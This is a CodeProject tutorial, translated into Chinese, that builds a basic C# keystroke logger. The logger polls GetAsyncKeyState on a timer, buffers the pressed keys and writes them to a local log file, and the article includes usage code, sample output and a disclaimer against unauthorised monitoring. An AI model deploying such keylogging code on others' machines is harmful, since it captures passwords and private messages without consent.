65.9K
CodeProject 正在变化。 阅读更多。
Home

基本按键记录

starIconstarIconstarIconstarIcon
emptyStarIcon
starIcon

4.90/5 (25投票s)

2005年5月12日

CPOL

2分钟阅读

viewsIcon

193515

downloadIcon

6419

使用 Visual C# .NET 实现的一个简单的按键记录程序。

引言

按键记录器(或击键记录器)是一种硬件或软件,用于记录用户的按键操作,例如即时消息、电子邮件以及您使用键盘输入的任何信息。许多按键记录解决方案都非常小心,以确保对计算机用户不可见,并且经常被雇主用于确保员工仅将工作计算机用于业务目的。

本文介绍了一个围绕 GetAsyncKeyState 构建的简单的按键记录方案,作为按键记录的核心。

简单的击键记录生命周期

Sample image

  1. 按键记录器通常会将计算机上的操作和事件记录到易失性缓冲区。
  2. 一旦缓冲区已满,或在设定的间隔时间,缓冲区将被刷新到非易失性“日志文件”。
  3. 按键记录解决方案中的常见做法是对“日志文件”进行加密。

代码片段

KeyLogger

public class Keylogger
{
    // The GetAsyncKeyState function determines
    // whether a key is up or down at the time 
    // the function is called, and whether
    // the key was pressed after a previous call 
    // to GetAsyncKeyState.
    // "vKey" Specifies one of 256 possible virtual-key codes. 
    // If the function succeeds, the return value specifies whether the key 
    // was pressed since the last call
    // to GetAsyncKeyState, and whether the key is 
    // currently up or down.
    // If the most significant bit is set, the key is down, 
    // and if the least significant bit is set, the key was pressed after 
    // the previous call to GetAsyncKeyState. 

    [DllImport("User32.dll")]
    private static extern short GetAsyncKeyState(
        System.Windows.Forms.Keys vKey); // Keys enumeration

    [DllImport("User32.dll")]
    private static extern short GetAsyncKeyState(
        System.Int32 vKey);

        
    private System.String keyBuffer;
    private System.Timers.Timer timerKeyMine;
    private System.Timers.Timer timerBufferFlush;

    // Events & Methods (see excerpts below)
            
    // Properties (see source code)
}

KeyLogger 类核心是 timerKeyMine_Elapsed 事件,它遍历整个 System.Windows.Forms.Keys 枚举,以查找按下的键。 按下的键随后存储在 keyBuffer 中(以空格分隔)。

private void timerKeyMine_Elapsed(object sender, 
                        System.Timers.ElapsedEventArgs e)
{
    foreach(System.Int32 i in Enum.GetValues(typeof(Keys)))
    {
        if(GetAsyncKeyState(i) == -32767)
        {
            keyBuffer += Enum.GetName(typeof(Keys), i) + " ";
        }
    }
}

timerBufferFlush_Elapsed 事件将击键数据从临时缓冲区存储转移到永久内存。

private void timerBufferFlush_Elapsed(object sender, 
                             System.Timers.ElapsedEventArgs e)
{
    // Preprocessor Directives
    #if (DEBUG)
        MessageBox.Show(keyBuffer); // debugging help
    #else
        Flush2File(@"c:\keydump.txt", true);
    #endif
}
    
public void Flush2File(string file, bool append)
{
    try
    {
        StreamWriter sw = new StreamWriter(file, append);

        sw.Write(keyBuffer);

        sw.Close();

        keyBuffer = ""; // reset
    }
    catch
    {    // rethrow the exception currently handled by 
        // a parameterless catch clause
        throw;
    }
} 

KeyLogger 用法示例

static void Main(string[] args)
{
    Keylogger kl = new Keylogger();


    kl.Enabled = true; // enable key logging


    kl.FlushInterval = 60000; // set buffer flush interval


    kl.Flush2File(@"a:\logfile.txt", true); // force buffer flush
}

日志文件示例输出

LButton H E L L O Space W O R L D Space OemMinus Space R E L E A S E Space B U I L D

免责声明

我强烈劝阻任何人监控您不拥有或没有知识产权的任何计算机。 拦截电子通信在(州法律)下是非法的,并可被判为犯罪。

摘要

本文旨在善意使用。 本文说明的按键记录机制并非隐蔽,而且效率低下。 有更好、商业上可用的键盘钩子和隐蔽的按键记录器。 为了简单起见,我省略了日志文件的加密。 然而,在广告软件、间谍软件和日益增长的隐私问题时代,我认为这是一项有趣的事业。 任何错误或建议都可以在留言板部分下方跟踪。 谢谢!

历史

  • 2005/12/05:原始提交。
© . All rights reserved.